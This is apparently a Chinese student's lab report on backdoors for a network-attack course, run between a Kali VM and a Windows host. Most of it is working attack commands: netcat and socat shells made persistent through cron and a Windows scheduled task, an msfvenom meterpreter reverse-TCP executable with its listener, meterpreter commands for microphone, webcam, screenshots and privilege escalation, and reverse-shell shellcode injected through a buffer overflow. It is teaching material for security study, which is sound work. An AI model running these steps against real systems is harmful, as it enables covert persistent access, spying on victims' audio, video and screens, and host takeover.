• 《网络对抗技术》Exp2 后门原理与实践


    Exp2 后门原理与实践

    (1)使用netcat获取主机操作Shell,cron启动

    (2)使用socat获取主机操作Shell, 任务计划启动

    (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    (6)基础问题回答

    (7)实验思考与体会

    前提--后门概念

    后门就是不经过正常认证流程而访问系统的通道。

    哪里有后门呢?

    • 编译器留后门
    • 操作系统留后门
    • 最常见的当然还是应用程序中留后门
    • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

    视频练习:

    1. windows连接kali:

    kali:

    sudo service ssh start   //要先开启ssh服务,才可以建立连接

    windows:

    ssh lby20181205@192.168.239.129 //ssh 用户名@想要连接的IP地址

     同样,kali也可以连接windows,只要修改相应的用户名和主机就可。

    2. Win获得Linux Shell

    windows: ifconfig 查找主机IP

    kali: nc 192.168.229.1 8888 -e /bin/sh  //这里是windows的IP

    windows: ncat.exe -l -p 8888 

     成功!

    3. Linux获得Win Shell

    kali :  ip addr  查看IP地址

     

     kali: 输入 nc -l -p 1205 //这里需要关闭kali的防火墙 ufw disable 

    windows: ncat.exe 192.168.239.129 1205  //这里是kali的IP,   当不输入 -e cmd.exe 时,就是传输数据。

     成功!

    命令含义:

    ncat.exe -e cmd.exe 192.168.239.129 1205

    ncat是一个底层工具,进行基本的TCP UDP数据收发。
    将其接受的字符串传到一个可执行文件 cmd.exe 中(类似于管道符 “ | ”)

    然后将输出传给 192.168.239.129 端口号为1205

     4. nc还可以在两个主机中传输文件:

    发送方:windiws

      nc 192.168.239.129 1205 < InputTest.txt  //这里是接收方的IP地址,和选择的端口号

     

    接收方kali:接受文件,将其内容存入Test.out

       nc -l -p 1205 > Test.out   

     

    一、使用netcat获取主机操作Shell,cron启动

    Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

    kali端:  crontab -e 

    1.crontab指令增加一条定时任务,"-e"表示编辑。

    2.因为是第一次编辑,故提示选择编辑器,我选择了3。

    3.按下回车键后,会自动打开文件  /tmp/crontab.f3CSBm/crontab  。

    在最后一行添加

    5 * * * * /bin/netcat 192.168.229.1 1205 -e /bin/sh  //分钟、小时、日期、月、周几

    简单说就是在每个小时的第5分钟执行后面的那条指令,即执行 /bin/netcat 192.168.229.1 1205 -e /bin/sh 。其中 192.168.229.1 是我主机的IP地址,端口号为1205。

     

     4. 保存、退出后配置立即生效。可以通过 crontab -l 来查看,"-l"表示list。

     

     5.(要在指定时间前打开)如果你在另一台主机192.168.229.1中,让nc侦听在1205端口,那到了5分就会有获得一个shell。这就是一个最简单的反弹式后门。

    windows端:

    你也可以开一个非反弹式的后门,如把cron指令写成"nc -l -p 8087 -e /bin/sh",你的主控机可以随时连接这个主机"nc IP 8087",就能获得shell。

    二、使用socat获取主机操作Shell, 任务计划启动

    1. 在Windows主机上按下 win(徽标)+r ,输入 compmgmt.msc 唤出计算机管理界面,在这里创建一个新的定时任务。

     2. 在打开的页面中依次点击以下按钮:“任务计划程序” --->  “创建任务”

     3. 在弹出的窗口中,点击 “常规”,输入该任务计划的名称

     4. 点击“触发器” ----> “新建” ---->"确定“。

    并选择预定开启时间

    5. 点击“操作” ----> “新建” ---->"确定“。

     在”程序和脚本“中,输入socat.exe的存放位置,并添加参数 tcp-listen:1205 exec:cmd.exe,pty,stderr ( 把可执行文件cmd.exe绑定到端口1205,同时把cmd.exe的stderr重定向到stdout上)

     

    6. 可以在”任务计划程序库“中查看到我们新建的任务:”a_test"。

     7.可点击右键直接运行该任务。

     8. 保留windows端弹出的cmd.exe窗口,并在kali端输入 socat - tcp:192.168.229.1:1205 ,其中192.168.229.1是我windows的IP地址,端口号为1205(要与之前添加的参数相一致)

    windows端:

    kali端:

     

     9.可返回“计算机管理”关闭该任务(右键---->结束)

    三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    1.在kali端生成exp2_backdoor.exe。

    kali端:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.239.129 LPORT=1205 -f exe > exp2_backdoor.exe

     -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。

        这里windows/meterpreter/reverse_tcp (windows下的一个后门,是“反弹式连接”--- 被攻击者主动连接攻击者)就是一段shellcode。

     -f  生成文件的类型

      >  输出到哪个文件

     LHOST  是反弹回连的IP   (kali的IP地址)

     LPORT  是回连的端口    1205

     

       !!!这里会看到exp2_backdoor.exe的文件大约为73KB!!,之后会用到

     2. 在Windows命令行中进入ncat目录,执行命令 ncat.exe -l 1205 > exp2_backdoor.exe ,使被控主机即Windows端进入接收文件模式。

    3. 在kali中执行命令 nc 192.168.229.1 1205 < exp2_backdoor.exe ,IP地址填Windows主机的,将exp2_backdoor.exe从kali端发送到Windows端。

    4. 此后,发现exp2_backdoor.exe已经在windows中(要注意查看exp2_backdoor.exe的大小,不要过早停止传输)

    这里主机要关闭防火墙,否则会被查杀。

     5. MSF打开监听进程:

    kali 端:

    msfconsole 

    1  use exploit/multi/handler  // 使用监听一种后门
    2 
    3  set payload windows/meterpreter/reverse_tcp 
    4 
    5  set LHOST 192.168.239.129  //将要实行监听的主机IP,也就是被监听主机将要连接的IP地址
    6 
    7  set LPORT 1205 

      show options //查看设置的信息是否正确

    6. 在kali端输入  exploit 后,在windows端点击运行后门程序"exp2_backdooe.exe"。

    则可发现kali端的监听进程获得了Windows主机的主动连接,并得到远程控制shell。

     四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权(help查看所有指令)

    1. 音频: record_mic 

    2. 摄像头: webcam_snap 

    3. 截屏: screenshot 

     4. 提权:getsystem (我的失败了)

     

     五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

    //////自己生成shellcode//////////

    msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.239.129 LPORT=1205 -f c

    [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
    [-] No arch selected, selecting arch: x86 from the payload
    No encoder specified, outputting raw payload
    Payload size: 68 bytes
    Final size of c file: 311 bytes
    unsigned char buf[] =
    "x31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80"
    "x93x59xb0x3fxcdx80x49x79xf9x68xc0xa8xefx81x68"
    "x02x00x04xb5x89xe1xb0x66x50x51x53xb3x03x89xe1"
    "xcdx80x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3"
    "x52x53x89xe1xb0x0bxcdx80";

    与实验一操作类似的部分就不加以解释了,直接放图

    1. 关闭地址随机化://每次都进行!

    execstack -s exp2_20181205
    
    execstack -q exp2_20181205
    
    echo "0" > /proc/sys/kernel/randomize_va_space
    
    more /proc/sys/kernel/randomize_va_space

     

     2. 查找getshell的首地址:

    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00" ' > input

     终端1:

    终端2:

    ps -ef | grep exp2_20181205
    gdb
    attach 3253 disassemble foo
    break *0x080484ae c //回车后在终端1再按一次回车 info r esp x/16x 0xffffd57c //以十六进制查看esp的值

     

      找到getshell的首地址了,为0xffffd580。

    3.将正确的首地址注入:

    perl -e 'print "A" x 32;print "x80xd5xffxffx31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80x93x59xb0x3fxcdx80x49x79xf9x68xc0xa8xefx81x68x02x00x04xb5x89xe1xb0x66x50x51x53xb3x03x89xe1xcdx80x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1xb0x0bxcdx80" ' > exp2_input_shellcode

     4.运行测试是否正确:

    终端1: //先在终端1执行 (cat exp2_input_shellcode;cat) | ./exp2_20181205 

     终端2:

    1 use exploit/multi/handler     //用于设置payload
    2 set payload linux/x86/shell_reverse_tcp
    3 set LHOST 192.168.239.129              //与shellcode一致
    4 set LPORT 1205        //与shellcode一致
    5 exploit   //设置完成开始监听

    //出现第一个蓝色 ”*“ 后,在终端2再按一次回车

     成功!

    六、基础问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?

      通过不安全的网站,在网站进行系统缓存时,自动下载至主机。

    (2)例举你知道的后门如何启动起来(win及linux)的方式?

      将程序名字和图标改为用户熟知的软件,从而使用户自己点开软件运行。

      通过邮件信箱或者链接发给用户,用户点开就会启动。

    (3)Meterpreter有哪些给你映像深刻的功能?

      截屏、录音、按键记录等功能吧,用户的信息很大可能会通过这种方式被泄露。

    (4)如何发现自己有系统有没有被安装后门?

      开启防火墙或杀毒软件,当发现木马程序时会自动查杀。

    七、实验思考与体会

       本次实验的操作让我对后门程序有了更加深刻的理解。也更意识到了它的危害:在获取权限后,它甚至可能获得用户的密码。也警惕着要注意着木马程序,不要点开未知来源的链接或邮箱,也不要访问不安全的网站。

      并且,在kali中提权时,我的系统是失败的,虽然它可以连接windows。在看到云班课的讨论区后,发现可能是生成的木马程序与系统不兼容导致的,有的同学将文件改名为“setup.exe"后成功了(我的仍是失败),还有的是对木马程序提权,然后就可以成功了。(这个我还没有尝试,会在尝试后添加)

      在加分项目中,要注意payload与之前的不一样,要改为linux下的tcp,否则无法反弹连接。并且在shellcode中已经确定了端口号,不能随意更改。

  • 相关阅读:
    POJ 1045
    POJ 1051
    POJ 1047
    POJ 1050
    POJ 1046
    POJ 1036
    POJ 1035
    POJ 1032
    【洛谷P1412】经营与开发
    【洛谷P3377】【模板】左偏树(可并堆)
  • 原文地址:https://www.cnblogs.com/20181205Liu/p/14564932.html
Copyright © 2020-2023  润新知